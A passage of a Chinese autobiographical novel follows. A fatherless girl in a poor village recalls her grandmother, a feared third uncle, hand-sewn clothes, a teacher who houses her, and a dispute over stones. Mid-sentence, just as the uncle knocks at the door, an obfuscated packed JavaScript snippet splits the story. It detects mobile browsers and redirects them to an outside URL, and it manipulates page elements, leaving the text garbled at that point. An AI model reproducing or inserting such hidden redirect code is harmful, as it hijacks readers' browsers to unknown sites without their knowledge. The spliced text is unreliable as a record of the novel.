奶奶回到家,我也跟着她回到家。奶奶烧了难得烧的大米汤。大米汤盛进盆里,端上桌,奶奶也给我盛了一碗。我壮着胆子坐下来,跟奶奶和三叔一起吃饭。 三叔眼里噙着眼泪,呵斥我说:“去找恁爷爷去!找回来再吃饭!”我不吭声,我当然不知道去哪里找爷爷。三叔眼睛红红的,眼里有眼泪在滚动。 奶奶听了三叔的话,也不吭声,她端起盛着米汤的碗,眼泪“啪嗒!啪嗒!”往下掉。 不久后的一天,我三叔跟我奶奶搬家了。他们搬到了温如意大爷家后头的院子里。帮忙搬家的当然是我三叔的那帮子仁兄弟,他们热热闹闹地跟狗打伙儿一样,在我奶奶的新院子里又大吃二喝了一顿。我三叔在夜宴的时候喝多了,吐了一地。他的仁兄弟吃完喝完要走了,临走的时候还友好地关照我奶奶:“姑奶奶,你好好扫扫地,劝劝他!” 我奶奶贤惠地说:“我知道!恁走吧!” 他们都走了。我奶奶拿了铁锨和扫把,把屋门里头我三叔吐的地方打扫了,那地上还是留下了一股子难闻的味道。 众人散去,我三叔也清醒了不少。他独自坐在樱桃树下的石台子上,吹起了凄冷的洞箫。那根箫像是擀面杖那样粗那样长,我三叔慢慢悠悠地吹着,一行行眼泪从他的脸上流了下来。那是我头一回见我三叔吹箫。我三叔平时常吹笛子。听说箫声冷咽,吹箫会引来鬼的。 我三叔沉浸在自己的难过里,我奶奶也阴沉着脸,不说话。我看着吹箫的三叔,知道他心情不好。三叔和奶奶的新家,当然没有留给我睡觉的地方。夜里,天凉,该回家睡觉了。此地不宜久留。我就灰溜溜地回到了自己的家。 奶奶的新家我好像没怎么进去过,因为是新家,所以里头很简陋,没有家的味道。 但是,又过了一段时间,我三叔跟我奶奶居然又搬回去了。我爷爷跟我奶奶破镜重圆。他们还是一起吃饭,一起种地,继续着他们的老光景。 有一回,我跟着奶奶去二姑家。二姑把我奶奶喊到屋门后头,偷偷地递给我奶奶一双鞋,说是她专门儿给我做的。那是一双带鞋袢的敞口的单鞋。红色的鞋头,绿色的鞋帮。我穿着它去上学。放学回家的路上,下雨了,我走在庄东头杨树林里的小路上,小路上都是沙土地,不粘,水汪汪的,我的鞋很快就被水坑里的水浸湿了。 回到家,我跑到我家床底下,把我爸爸给我买的那双粉色的雨靴找出来。那双雨靴好好的,还在,一点儿都没坏。我努力地想蹬进去,可惜我的脚长大了,再也穿不上了。我从此少了一双漂亮的雨靴。我从此再也没有过一双雨靴。 吃过午饭,也不换鞋,也没鞋换,继续穿着它去上学。 我的小学校就在张庄集上,二姑有一回去赶集,在学校门口看到我,把我拉到学校的大铁门后头,悄悄塞给我五毛钱。 那时候家里实在太穷,我奶奶没事儿的时候去捡破烂,我也拿个小提包去捡破烂。我主要是捡塑料瓶子和塑料纸。这里捡捡,那里翻翻,一天下来,也可以捡满满一小提包。上学的时候,只要有空儿了,也去捡。我看到我们学校门口儿的一个大坑里有垃圾,我就跳进去捡。 张翠翠、张娟娟看我捡破烂,也去帮我捡。中午吃饭的时候,她们还把我叫去她们家里玩。宋红艳不上学了。她本来成绩也不好。她家就在娄庄,我们几个中午的时候去了她家。她还是那样,穿着她上学的时候穿的那条粉色的裙子,站在她妈妈身边。她的妈妈,怀里抱着一个小的,坐在她家的天井里。我们跟她一起呆呆地看着她妈妈怀里的小娃娃。 宋红艳长得并不丑,圆圆的小脸儿,大大的眼睛,笑起来很好看。她不上学了,这在当时也不算是什么多大的事儿。宋红艳也是无所谓。我站在她的家里,她的粉色的裙子跟我那条粉色的裙子很像,她的家跟我的家也很像。 临去上学的时候,张娟娟给我一个白白大大的桃子,我拿着那个大桃子,跟她们姊妹两个一起路过张大龙家。张大龙从家里走出来,把一个大大的西红柿放到我手上。 张大龙的爸爸从家里走到大门口儿了,他大概是听张大龙说,他班里那个大名鼎鼎的宋大省来了,他是故意出来看我的。 张大龙的爸爸倚在他家大门西边的门框上,一动不动地看着我。 张大龙对他爸爸说:“爸爸!这就是宋大省!” 他爸爸皮肤白白的,脸上一圈儿黑黑的络腮胡子,有点像是外国人。此刻,他正在用凝重的眼神看着我,我不知道那眼神里是怜悯还是好奇。张大龙的成绩很好,也很有耐心。他,张翠翠、张娟娟,这几个很踏实稳重的人,一定是把我不幸丧父的遭遇告诉了她们的家人。 听说,张庄,我舅奶奶家的儿媳妇,也就是我奶奶娘家的侄媳妇,我的表大娘病了。我跟着我奶奶去舅奶奶家看望她。舅奶奶家就在我的小学校大门口,正对着张庄完小。张庄的地土比荆堂要好,湖地多山地少。我的表大爷又是个工人,舅奶奶的家比我家阔气。舅奶奶家里是清一色的瓦房,石灰地面,一看就跟我爷爷奶奶家不一样。 表大爷站在天井里,闷闷地,不吭声儿,中年的夫妻,看不出来还有什么感情。 表大娘面无表情地靠着床头躺着,她的两个女儿围着她唱着耶稣的歌:“妈妈啊妈妈……” 唱了一会儿,问她:“好点了吗?” 大娘有气无力地说:“好点了……”她的两个女儿像是得到了极大的认可一样,对着她们的妈妈继续唱。 但是不久以后,我的那个表大娘就死去了。我奶奶又带着我去张庄吊孝。我的舅奶奶,也就是我奶奶的嫂子,已经老掉牙了,坐在院子里,跟人家一桌子吃饭,她拿起桌子上的干瘪的花生米,有口无牙地吃着。 表大娘的新坟就埋在张庄奔白山和荆堂的三叉路旁,就在我上学的路上。刚刚下了一场雨,那座坟子被雨淋地丝毫没什么美感,坟子脚下放着一个花圈。那是张庄的坟地,旁边的不远处应该就是我的同学小灰的哥哥的坟地了。 4.新衣裳 我爸爸去世的时候,老娄老奶奶给我们三个都撕了一身孝衣。我爸爸死后,我们没有衣裳穿,我妈妈就用那些孝布给我们三个每人缝了一件白褂子。褂子上用红布条子镶了边儿。中间的两个对襟子上,我妈妈还给我们用红线绣上了两行诗。 那诗是她自己作的。 我还记得我的两个对襟子上绣的是:万古长青永长青,天生天保红到顶。 我妈妈说:“人家戏文里说的,‘王天保下苏州,老天保佑。’老天保佑保佑多保佑!” 我弟弟、妹妹的褂子上也有诗句。 我弟弟的衣襟上绣的是:海中金龙腾波浪,一代更比一代强。 我妹妹的衣襟上绣的是:雄鹰展翅天当央,红运当头万年长。 我们穿着那白色镶红边儿的褂子从北荆堂我家,走到艳飞大姐家门前的大街上,去我爷爷家。 大街上的婶子大娘看到我们的衣裳,喊住我们,围着我们直夸:“嗯,他大婶子手巧,大省小的时候,她就给她插花鞋穿。你看,这上头还作了诗。” “这诗是俺妈妈作的!”我骄傲地跟她们说。 “哦,你看看,恁妈妈还怪有才分来!” 我跟我妈妈说:“妈妈,恁给俺缝地怪好来,我穿着去上学吧。” 我妈妈说:“别穿去上学了,人家别笑话。” 东善的娘,我们叫老刘奶奶。老刘奶奶七八十岁了,是个小脚老太太。她穿着蓝色带大襟的褂子,裹着小脚,腿上绑着粉色的扎腿带子,戴着黑色的绒布帽子。她一个人住在宗雨家西边青石头磊成的小屋里,外面是荆棘条子扎成的小门。老奶奶高兴了,就到庄里来跟大家说说话。想赶集了,就一个人“咯噔咯噔”地踮着小脚,去张庄赶集。坐在庄里石头上拉呱的人,看着老奶奶的背影远去,过了老半天,又见她抱着一捆儿秫秸、柴棒回来了。边走边说:“哼哼!恁井里的□□,见了多点儿的天儿哎!” 我妈妈对老刘奶奶说话客客气气地。 老奶奶很喜欢她。见了她就喊她:“孙女子!来俺家来坐坐!我给你煮挂面吃!” 我妹妹看到老刘奶奶,大老远儿就喊她:“老奶奶!” 老刘奶奶看着我妹妹说:“包黑!” 我妈妈说:“大奶奶,这是俺三闺女,她不叫包黑,她叫笑笑!” 老刘奶奶说:“哦!是的,叫笑笑!笑笑,拉着恁妈妈!来!到老奶奶家来!老奶奶给恁煮挂面!” 我妈妈真个儿想跟老奶奶说说话,亲乎亲乎,就真地到老奶奶家里,在她的床沿儿坐下。老奶奶就忙着烧锅,她切了葱花姜丝,和荤油一起炸汤,给我妈妈煮挂面。 我妈妈白天没事儿的时候,经常带着我们睡觉。我们栓着门栓,从中午睡到下午。睡到太阳的金光从窗户里透过来,照在我们西屋里间的屋当门里。常常,我从睡梦中醒来,看见我妈妈还在沉沉地睡着。她直挺挺地躺着,露出裤腿子外头的两条腿。那腿有黄色的皮肤,和大大的汗毛孔,还有一根根的汗毛。我妈妈的腿搭在床沿上,横在我的肩膀旁边,挡着我,护着我,让我觉得温暖。 我大姨来荆堂了。我长这么大,头一回见到我大姨。她长得高高的个子,双眼皮大眼睛,银盆似的脸,微笑着。大姨穿着一件白底带红菊花儿的缎子褂子,两个对襟子上钉着盘扣儿,看起来比我妈妈要富贵的多。当时,我跟着我奶奶在家东的地里忙着。我奶奶好像是在剜地。我大姨也蹲在地上帮我们巴拉着地里的土坷垃。我原以为,大姨来荆堂,是我奶奶请来帮她驱鬼的。哪知道,她来荆堂,是文利大娘请她来的。 大姨走了以后,把她穿的那件缎子褂子给我留下来了。我在我奶奶家把那件褂子洗了,往晾衣绳儿生上一搭。 “等我上学的时候,我就穿着它当笼袄的褂子!”我满足地说。 我大姨走了以后不久,我五姨也开始来我家了。五姨来我家,给我带来了六姨给我做的一件新褂子。那是一件大红的带大襟的褂子,前头的大襟上镶着黑边。我很喜欢这件衣裳。我上学的时候就套着棉袄穿。 我穿着那件红色的褂子走在张庄西边的小路上。我的头发蓬蓬的,刚到肩膀,我奶奶给我买了一个红色的发卡。那发卡里头是黑色的硬塑料,外头是大红的绸布裹着一层薄薄的海绵。我走在那条黄土小路上。我觉得那时候的我是个很好看的姑娘。 劳动课的时候,我戴着红色的发箍,蹲在花池边,伺候我负责的那棵月季花。班长李东的那棵月季就在我的西边挨着。他把他的月季花下头的一点水,用一根小棍子挑起来,浇到我的那棵花上。 “呐,给你一点!”他友好地说。 我不吭声儿,我不知道他的友好里有几分是出于同情,又有几分是出于真心地想跟我搭谈。 我一个人偷偷跑到教室里,蹲在我的座位下头,打开桌洞里的小镜子,看了看镜子里头的我的脸。那时候,我的脸上还没有满目疮痍的青春痘,还很好看。 李东不知道什么时候也来了。 “真好看!”他站在我身后头的座位上说。 他居然看到了我,看到了我在照镜子。我又不知道他的话里有几分是友好的同情和鼓励,又有几分是真心地夸赞。 我放学回家,李东的爸爸也到荆堂来了,他好像是做点儿小生意,他认识我爷爷。 他走进了我爷爷的家门,笑呵呵地跟我爷爷打招呼。“姑老爷,忙什么的?” 他看见了我,笑着问我:“李东跟你一个班?” “嗯。”我佯装对李东不感兴趣,不冷不热地回答他。他笑笑,也没再多说话。 我的头发长了,我妈妈说:“你的头发长了。你去找恁艳红大姐给你剪剪头发去吧。” 我到了文利大爷家,文利大娘跟艳红大姐在家。 文利大娘看到我,跟我说话:“大省,你来了?” 我说:“俺妈妈让我来找艳红大姐剪头发的。” 艳红大姐就在家里。她说:“我给大省剪个什么发型呢?给你剪个蘑菇头吧。” 我就乖乖地坐下来,等着她给我剪头发。 艳红大姐问我:“恁小妹呢?” 我说:“她在家,跟着俺妈妈呢。” 艳红大姐很喜欢我妹妹,她跟文利大娘说:“你看笑笑,长得真好看,跟杨钰莹样。” 文利大娘有事出去了。我在艳红大姐家坐着跟她一起说话。她家里烧了小鱼,放在碗里,上冻了,黄黄的,亮亮的。 大姐跟我说:“俺家烧了小鱼,你吃吧,大省。” 我心里不是很想吃那个小鱼,我喜欢吃我奶奶家放了酱油的烧地黑黑红红的鱼。我就跟艳红大姐说:“我不吃了,大姐。我吃过饭了。” 可是艳红大姐坚持让我吃,我只好过去,拿起桌上的筷子,吃了几筷子小鱼。 我五姨那阵子经常来我家,来看望她守寡的三姐和三个孩子。五姨来我家的时候,又给我带来了我六姨给我做的新褂子。那件褂子的前胸和后背是用各种红的黄的绿的各色花布连成的,两条袖子是深蓝色的西装上的布料做成的。看起来又时髦又花哨。 春天,学校里的月季花盛开了,那些月季花,一丛丛,一棵棵的,比我们还要高,那些月季花红的、粉的、黄的,一大朵,一大朵的,引来了很多小蜜蜂。我们下了课都去月季花上捉小蜜蜂。我的食指被小蜜蜂给蛰了,有点疼。张益华说:“被蜜蜂蛰了,要把手指头绑上,这样就不会过血了,蜜蜂的毒就不会跑到你的血管里头了。”她不知道从哪儿找来一根白线,给我把手指头绑上。我的手指头顿时发青发紫,比不绑更疼了。我受不了,就把那缠着的线给解掉。 学校里来了照相的,我的很多同学都去照相了。艳飞大姐也去了。她高高兴兴地和别人一起站在月季花丛边照相。我家没钱,我不敢去。 牛老师说:“你想照相吧?想照的话,去吧!我给你交钱。”我就高高兴兴地去了。我和艳飞大姐站在一起,笑眯眯地照了张相。 等我把相片拿回家,给我妈妈看,给我爷爷看。照片照地很好,我当时穿地也很好。我那时候剪了一头短发。后面到脖颈,前面到额头。 不久,我五姨又带来了我六姨给我做的新衣裳。我五姨到了我家,站在我家天井里,拿出那身衣裳来,我妈妈笑着跟她一起看了看,再拿给我穿上。六姨给我做的衣裳都没有给我量过身高、尺寸,但都很合身。她这次做的衣裳是一套,有裤子,有褂子。深绿色的,像小刺松那样的绿色,镶着白边儿。 我妈妈说:“恁六姨这是知道恁爸爸刚死,给你的衣裳镶了白边儿,意思是给恁爸爸戴孝的。可怜,恁六姨哪来的钱啊,她都是从人家托她做衣裳的那里挖下来的吧。” 牛老师跟我说:“宋大省啊,我看你太缺营养了。你回去跟恁妈妈说说,我带你去俺家过阵子,你跟恁小姑一块儿住,让恁四奶奶烧点儿饭给你吃。俺家的生活儿怎么说也比恁家强。” 我妈妈当然同意我去牛老师家里了。我也很同意。放学的时候,我就收拾书包跟着牛老师去了他家里。他家的四奶奶跟小姑,我一点都不陌生,跟她们很快就熟络了。这以后,我除了跟着牛老师一起去上学,平时,跟四奶奶小姑的时间,倒是比跟牛老师相处的时间多得多。 早上,我一起床,四奶奶就把饭菜端到了桌子上。我跟牛老师一起吃早饭了。四奶奶炒的白菜猪油渣,白菜白白的绿绿的,猪油渣黄黄的油汪汪的。 四奶奶递给我一个白白的饼子,我拿在手里,跟牛老师一起吃饭。 “四奶奶,恁也吃饭吧?”我跟四奶奶假客气着。 “我不吃,我一会儿吃。你跟恁四爷爷一块儿吃吧,吃完好上学去。”四奶奶说。 我吃完了饭,四奶奶说:“我给你带两块饼子,你带到学校里,留着你晌午吃。省得来回跑了。” 我说:“行!”我心里想,四奶奶也许是嫌我跟着牛老师来回跑太麻烦了吧。 四奶奶用崭新的报纸给我包了两块饼子,我背在书包里。牛老师推来自行车,准备去学校了。我坐到他的自行车后座儿上。 “天要下雨啦!雾拉啦!”牛老师说。 “你穿件雨衣吧?让大宋省儿躲在你雨衣后头。”四奶奶说。 “不要。没大雨儿。”牛老师说,“宋大省儿躲在我的褂茬子里头就行。” 我把头藏到牛老师的淡蓝色的尼龙褂茬子里头,牛老师骑上自行车就走了。 中午的时候,我跟同学们一起吃晌午饭。我把四奶奶给我带的饼子从报纸里头拿出来。那是我带的很好的一顿饭了。平时,我是没有饼子可以带的。那阵子,我的小同学们都知道,牛老师带我去他家了。他们又开始变得对我友好了。我吃着饼子,跟她们一起玩儿。那饼子很香,只是因为用报纸裹了,散发着新新的报纸的气味儿。 晚上,放了学,牛老师带着我回到家里。吃完了晚饭,小姑带着我到她家门前南大路上洗澡去了。南大路路西旁有一道长长的水沟,沟边长着一排杨树。一群娘们儿姐妹儿在沟里洗澡,闹哄哄地,很热闹。小姑让我抓着杨树根,别让水给冲跑了。我抓着杨树根,跟小姑一起洗澡。 小姑的房间是一个单间,床铺干干净净的。房间的前头,进门儿左手边儿,搭着高高的架子,架子上,排着好几袋子粮食。那是新打的小麦吧,用化肥袋子装着,一袋子一袋子的。 小姑的屋里,有一个红色的看似很精致的梳妆匣。那一定是个梳妆匣,否则小姑不会把它放在屋里头。可是,我见了它,总觉得它跟我爸爸的骨灰盒很像。这个话,我是不敢跟小姑说的。 我在马老师家过了段时间,就又回到了我家。 那阵子,我妈妈老去艳飞大姐家里挑水。艳飞站在她家大门口儿,扶着她家的门框。我妈妈挑着两个水桶,跨过她家大门槛儿,沿着那条东西小路儿,呼扇呼扇地朝我家走去。 “一股汗味儿!”艳飞撇着嘴,捂着鼻子说。这件事,我没有跟我妈妈说。 我妈妈倒是经常夸赞艳飞:“你看人家艳飞,多精!你就没有人家精!人家艳飞跟她弟弟去她奶奶家,她弟弟站在他奶奶脊梁骨后头,朝他奶奶攥着拳头。她奶奶回头看到了。你说艳飞怎么跟她弟弟说的?‘哟!你这个小坏蛋,还要打我啊!我跟咱妈妈说去!’你看,人家多精!人家知道向她弟弟!” 我听了妈妈夸艳飞,不服气。就跟我妈妈说:“艳飞哪儿好了,她还说你身上有汗味儿来!” 我妈妈立刻变了神色说:“我天天洗地干干净净的,我身上哪有汗味儿。” 接着,她一脸正经地看着我,求证似的问我说:“我身上有汗味儿啊?” 我说:“没有啊。我没闻到。” 多年以后,我想想我当初跟我妈妈的对话,我才知道,我那时候面对妈妈对我的质疑的时候,我也会用语言来攻击她了。我的性子跟我妈妈差不多,谁攻击了我,只要有机会,我也会攻击谁的。否则,那些攻击就会在我心里留下疙瘩,也就是所谓的“不平”和“块垒”。我觉得这本没有什么不对。但是,对于我亲爱的妈妈,我当年又何必这样恶毒地攻击她,让她难过呢? 我妈妈当年毕竟还很年轻,她才三十六七岁。她对于我转述给她的,其实是借刀杀人的,别人家小女孩儿对她的毁谤,她还会认真地求证。其实,等她到了四十岁,到了我这个年纪,她就应该变得毫不在乎。我就不会在乎人家说我身上有没有汗味儿,更不会以我身上有汗味儿为耻。我现在拿这些根本就无所谓。什么?你说我穿地邋遢?你说我身上有味道?我故意的。让我洗干净抹香香来向谁谄媚?我才不干!我根本就不想讨好谁。 我三叔出去了一趟,又回来了。我三叔这次出远门走地很久。不知道是去了东北,还是去了杭州。他连口音都变了,他不再说山东话,而是说普通话。 一天下午,我们跟我妈妈一块儿坐在天井里的石台子前头。 有人敲着我家的大门,用普通话说:“小鸿!小鸿!” 我们先是一愣,然后才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137782|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想起来,是我三叔来我家了。 这是头一回有人叫我弟弟“小鸿”,我三叔出去了一趟,不仅口音变了,连对我弟弟的称呼也变地洋气了。听到了我三叔的声音,我的心里感到既陌生又害怕。我三叔平时跟我爸妈并不兄友弟恭,跟我们也毫不叔慈侄爱。他在我的心目中是暴戾的,是凶恶的。 我很害怕我三叔,但我还是跑去开了门。我三叔来到我家天井里,站在我家的石台子前头。我弟弟在我妈妈跟前,叫了一声:“三叔!”我三叔弯腰抱起我弟弟。 我弟弟被抱在这个陌生的怀抱里,我并不觉得三叔是我的一个亲人。我也不觉得我弟弟在他的怀抱里有多幸福。我三叔抱我弟弟,我总觉得,像是皇军伪善地抱了一下老百姓的孩子,表演的成分比慈爱的成分要多得多。打心眼儿里讲,我弟弟被他抱了,还不如不抱。我不要三叔对我们好,他只要对我们不打不骂,不加害于我们就行了。 我妈妈见我三叔来看我们几个小孩儿,也暂时摒弃前嫌,客客气气地跟我三叔说:“你回来了?三兄弟!” 我三叔连眼皮都没抬,他沉着脸,低着头说:“是的,嫂子!” 三叔的眼神我看地清清楚楚。我知道我三叔跟我妈妈,向来不和,彼此心里都恨透了对方。以前,我三叔来我家,不是吵架,就是要打架。这次,我爸爸死了以后,我三叔鲜有的来我家,他也是一时头脑发热,被内心陡然升起的亲情所趋使,来看看他死去的大哥的三个孩子吧。 他给我们买了新衣裳。我的是一身小公安的绿军装,肩膀上还有一个写着“小公安”的肩章。我弟弟的是一身蓝色的儿童套装。我妹妹还小,没给我妹妹买。我们欢欢喜喜地穿上那身新衣裳,简直像是换了一个人,换了一个人生。 我穿着三叔给我买的小公安的衣裳,到了学校。张益华她们都围着我观光。我也很兴奋,跟她们有说有笑的。 “宋大省,现在天热,你穿这身衣裳热不热?”张益华问我。 “不热!不热!我卷着袖子的!”我笑嘻嘻地说。 我在那身新衣裳的烘托下仿佛也发了光,现出富足满足的模样儿。仿佛我是一个富裕家庭出身的人了,仿佛我的家庭没有那么贫穷和艰难了。仿佛我的生活每天都是那么丰裕了。我知道我并不难看,装扮好了,我甚至还可以很好看。 可是这些管什么用。我的命运就摆在那里,我没有了爸爸,我家里只有一个妈妈,我家很穷。 李东跟张飞飞也站在那些人的圈子里,对我看了看。我知道,那是富家公子哥儿跟大家闺秀,对一个穷人新穿了一件好衣裳的友好地观看。我也知道,我一时的新鲜的着装只是昙花一现,等过了这几天,等我没有这身新衣裳了,我又得被打回原形,重回往日的寒酸。 李东的脑门儿亮亮的,他眼里和嘴角含着一丝友好的笑意,他始终不太张扬,不怎么说话。 张飞飞走到我跟前,悄悄地跟我说:“宋大省,你的衣裳坏了!” 我来到厕所看看,我那新买的小公安的衣裳的屁股中间真地开线儿了,要不是张飞飞跟我说的话,我还真的要露腚了。 新买的衣裳屁股中间开线儿了,怎么恁么巧呢? 我那时候还不知道,我三叔为什么又要给我们买衣裳,又要来看我们三个。那是因为他要走了,他跟他的娘要撤离荆堂了。他们下定了决心要抛夫弃孙,抛父弃侄,逃离故土。人之将走,其言也善。他是要来见我们最后一面,尽一尽他作为叔父的良善。 我三叔这次的到访,把我妈妈吓怕了。她以为我三叔来我家,是他预备来跟我妈妈抢孩子的。是的,按常理来说,婆婆是怕做了寡妇的儿媳改嫁,怕改嫁的寡妇带走婆家的男孩子的。按常理来说,我奶奶作为婆婆,是无论如何也要跟守寡的儿媳争夺她们宋家的唯一的一条根儿,我弟弟鸿雁的。 我妈妈那时候还没有想到,我奶奶跟我三叔压根儿就没有往那上头想。他们早就有了更为远大的理想。他们要撤离荆堂,到遥远的东北去,到我们和爷爷这辈子可能都到不了的关外去。他们要无牵挂逍遥自在地过他们自己。他们哪儿有这份儿闲心来管我们的来来去去是是非非。 人不为己,天诛地灭。我奶奶和三叔要做个自由民,他们要彻彻底底抛下我爷爷和我们,为自己而活!我妈妈根本就不知道这些,她自作多情地以为我三叔虎视眈眈地要来抢她的儿子呢! 我妈妈吓得赶紧把我弟弟送到牛老师家里。她偷偷摸摸地把我弟弟带到牛老师家,跟牛夫人说:“让鸿雁搁恁家躲几天吧。四婶子。俺三兄弟来俺家好几趟了,还给俺三个小孩儿买了衣裳。我越想越不对劲,人家从来没给俺家小孩儿买过衣裳。怎么猛然地给三个小孩儿买衣裳的?人家是打铺来抢孩子的。人家怕我改嫁,人家肯定要把鸿雁留下,我一个妇道人家,抢不过人家。” 后来,我妈妈又怕走漏了风声,被宋家的人追了过去。我妈妈又把我弟弟打扮成女孩儿的样子,让牛老师骑着自行车,把我弟弟送到我姥姥家。我弟弟在我姥姥家里过了好些天,我妈妈才去把他带回来。 5.大门外头那堆石头 我家大门外,靠门东旁儿,还有一堆摞地很高的石头。 我妈妈说:“我想把那摞子石头卖喽。卖给干里的恁大爷。恁爸爸死了,咱也用不着了。别等时间长了,咱不待家,人家都给偷走了。” 一天早上,我妈妈正在烧着锅,干里的大爷开着拖拉机来我家了。 “恁来了?大哥!恁吃饭了吗?”我妈妈来到大门外跟大爷说,“俺大嫂子还怪好哈?” “我吃完饭来的,大妹妹。恁大嫂子还怪好。”大爷说,“我来拉石头。” “都搁那了!就俺家大门外那一摞子!还是家军以前起的。你看看一趟能拉走吧?”我妈妈说。 “我看看。”大爷磴到那些石头上说,他站在那摞子石头上,准备把那些石头一块一块地往拖拉机上搬了。 “还要给你帮忙吧?大哥?”我妈妈问。 “不用!你忙你的!”大爷说。 “那我去烧锅了。”我妈妈说,“我锅底下还岔着柴禾的。” 不知道是谁跟我三叔说了。我三叔来了。 “是谁要拉俺哥的石头的?”我三叔说。 “是我!是我要拉恁哥的石头的!”大爷站在俺家的石头摞子上说。 “俺哥起的石头,你凭什么拉走的?!”我三叔问。 “我凭钱买的!”大爷说。 “谁同意你拉走的?俺哥死了,有我!今天,谁也别想把这些石头拉走!”我三叔说。 “恁哥死了,有恁嫂子。有恁哥三个孩子。你一个小叔子,还轮不到你说话!”大爷说。 大爷有四十出头,中等偏瘦的个子,单眼皮,瘦瘦黄黄的脸儿,口齿伶俐。他说话声音不大,但是一句一句地滔滔不绝,很硬气。我三叔可是动不动就要打人的。我很为干里的大爷发急。我跑到家里去。 我妈妈拉着风箱烧着锅,她也听到外头的动静了。 “我得出去看看去,别让恁三叔打了恁大爷!”我妈妈放下锅说。 “妈!俺三叔要是打了俺大爷怎么办?”我着急地问她。是的,我三叔会打人。我三叔算是我童年的一个梦魇了。 “你别害怕。恁大爷会拳脚!”我妈妈说。 听我妈妈说干里的大爷会武功。我这才稍稍放心了一点。 “哼!喜儿起的石头,谁也别想拉走!”我爷爷仗着他三儿子在,也在一边跟着攒火儿。 “俺哥出恁么大的力起的石头,她凭什么给卖的?她当不了这个家!”我三叔说。 干里大爷虽是外庄上的人,可是他一点也不怕我三叔,他跟我三叔理论起来毫不相让。 “恁嫂子当不了家?恁嫂子当不了家谁当家啊?她养着恁哥的三个孩子,她就能当家!她想卖个石头,零碎八务儿地,来给小孩儿看个病,交个学费,你还来干涉?”大爷说。 “别给我玩那一套鬼把戏!我不吃那一套!她这明明是不想搁荆堂过了!你这是跟她定好了点儿,来帮她转移家产的!”我三叔说。 “我帮恁嫂子转移家产的?这点儿石头算什么家产?我跟你说吧,就这些石头,年岁恁么长了。我不是看恁嫂子带着三个孩子!你求着我买,我还不买呢!”大爷刚强地说。 我妈妈走过去跟我三叔说:“三兄弟啊,这些石头年岁也多了,俺娘四个也没有力气去盖屋,我想让俺大哥来拉走,卖点钱,给鸿雁补补营养。鸿雁贫血,我都没有钱给他治疗。我一个寡妇,没什么本事,只能且顾眼前了。你要怪呢,就怪恁嫂子。大哥从干里来,是想帮我一把儿的,人家可不容易。恁可不要怪大哥。” “今天,这个石头谁都不能动!你动一动试试!”我三叔说。 “今天,这个石头,我就非得拉走!你不让拉试试!”干里大爷说。 我很久没有听到跟我家有关的人,这么硬气地跟我三叔说话了。我觉得特别解气。我很崇拜地看着干里的大爷。他长着一张瘦长的黄脸儿,个子细细条条的。因为早起加激动上火,他的眼角里堆了一点白色的眼屎。大爷是有拳脚的,大爷的脚上穿着利索的蓝球鞋,结结实实地帮着白色的鞋带儿。一旦跟我三叔打起架,大爷腾挪跳跃起来,应该很厉害吧。他要是真的跟我三叔打一架就好了。最好把我三叔打趴下,打得北服北服的。 来看热闹的人很多,大家跟着劝和劝和,这个架也就没打地起来。可是,荆堂毕竟是我三叔的地盘。强龙不压地头蛇。这个架是没有打起来。这堆石头也确实没有拉走。它们还是一无是处地摞在那里。 我那阵子又跟大香一起去上学了。她比我们都大。是群龙之首。我们都对她俯首帖耳,唯她是从。 有一天上学的路上,大香说:“明天,谁第一个来喊我上学,我就送她一个奖励。”说着有心,听者有意。我当时就下定决心第一个早起。 第二天,我起得比谁都早,第一个来到了她家门前,去敲她家的门:“大姑!” “哎!”她响亮地答应了一声儿,出来开了门,拽住狗绳儿,喝住了她家的黑狗,把我带到她家屋里去。她家的屋里比我家还要低矮破烂黑暗难闻。我站在她床前,看她穿衣,梳头。她的床头儿上放着一张她自己画了画儿的纸。我猜,那就是她说的要给喊她上学的人的奖励。 “宋大省儿,那是给你的。你拿着吧。”大香边梳头边跟我说。 我赶紧把那张纸拿在手里。像是得到了上级的首肯一样。那张纸上写着:送给宋大省。 我一看,一大早,大香姑也没动笔啊,感情她早就料到我会第一个来喊她,头天晚上就准备好了。 那张破纸跟那上头的一些难看的破画也没什么用。它对我唯一的意义,就是通过这张破纸,让我有机会跟这个大姐大近距离接触,让我得到她的一些首肯,拉近了我跟这个大姐大的一点点距离。 又过了几天,大香破天荒地去我家喊我去上学了。 “宋大省,上学去了!”她在我家墙外头喊我。 我妈妈听见了她的声音,天真烂漫地高兴地笑着说:“她大姑,进来坐会儿!” 是的,我妈妈很高兴。她很高兴她的女儿有人亲香有人欢迎。 “不啦!大嫂子!俺得等着大省儿一块儿上学去!”大香说。 “大省儿,快点儿,恁大姑等你了!”我妈妈积极地催着我说。 我赶紧背了书包,快步走到大门外头。只见大香正站在我家大门外靠门东旁那摞子石头上,不停地踮起脚来朝我家里看。 “看看她家有没有男人!”大香嘴里说道。 我站在她身后头,假装没有听到她的话,冲她喊道:“大姑,咱走吧。” “噢!走!”大香这才开始从那摞子石头上艰难地往下爬。 有一天,我妈妈给我们带回来一碗糖球。一个个大大的,红红的,很好看。 “这是糖球!恁拿着吃哈!我就喜吃糖球!”我妈妈说。 我跑过去,拿起一个大大的糖球说:“妈,这是你搁哪儿买的?” “我去恁姥娘家,恁姥娘给的!恁不要带到外头去给人家吃哈!人家家里都有!人家都比咱家阔。”我妈妈说。 “哦。”我嘴里答应着。心里却想着怎么在上学的时候,偷偷地带出去几个糖球。 该去学校了,我跟我妈妈说:“我去大门外看看,人家都走了吗。”我说着就拿着几个糖球来到大门口儿,把手里的糖球扔到我家大门西旁儿的土堆上,再返身回到堂屋里。 我弟弟看到了,跟我妈妈说:“妈妈,大姐把糖球拿出去了!” 我说:“没有。我就出去看看的。” 我拿上卷好的一个大煎饼,准备去上学了。是的,我妈妈烙的厚厚的黑黑的大煎饼。 我妈妈问我说:“你没带糖球吧?” 我说:“没带!”我说完就走出了家门。 出了大门,我妈妈看不到我了。我弯腰把事先扔到大门西旁的糖球捡起来,装在挎包里,高高兴兴地带到学校里去。 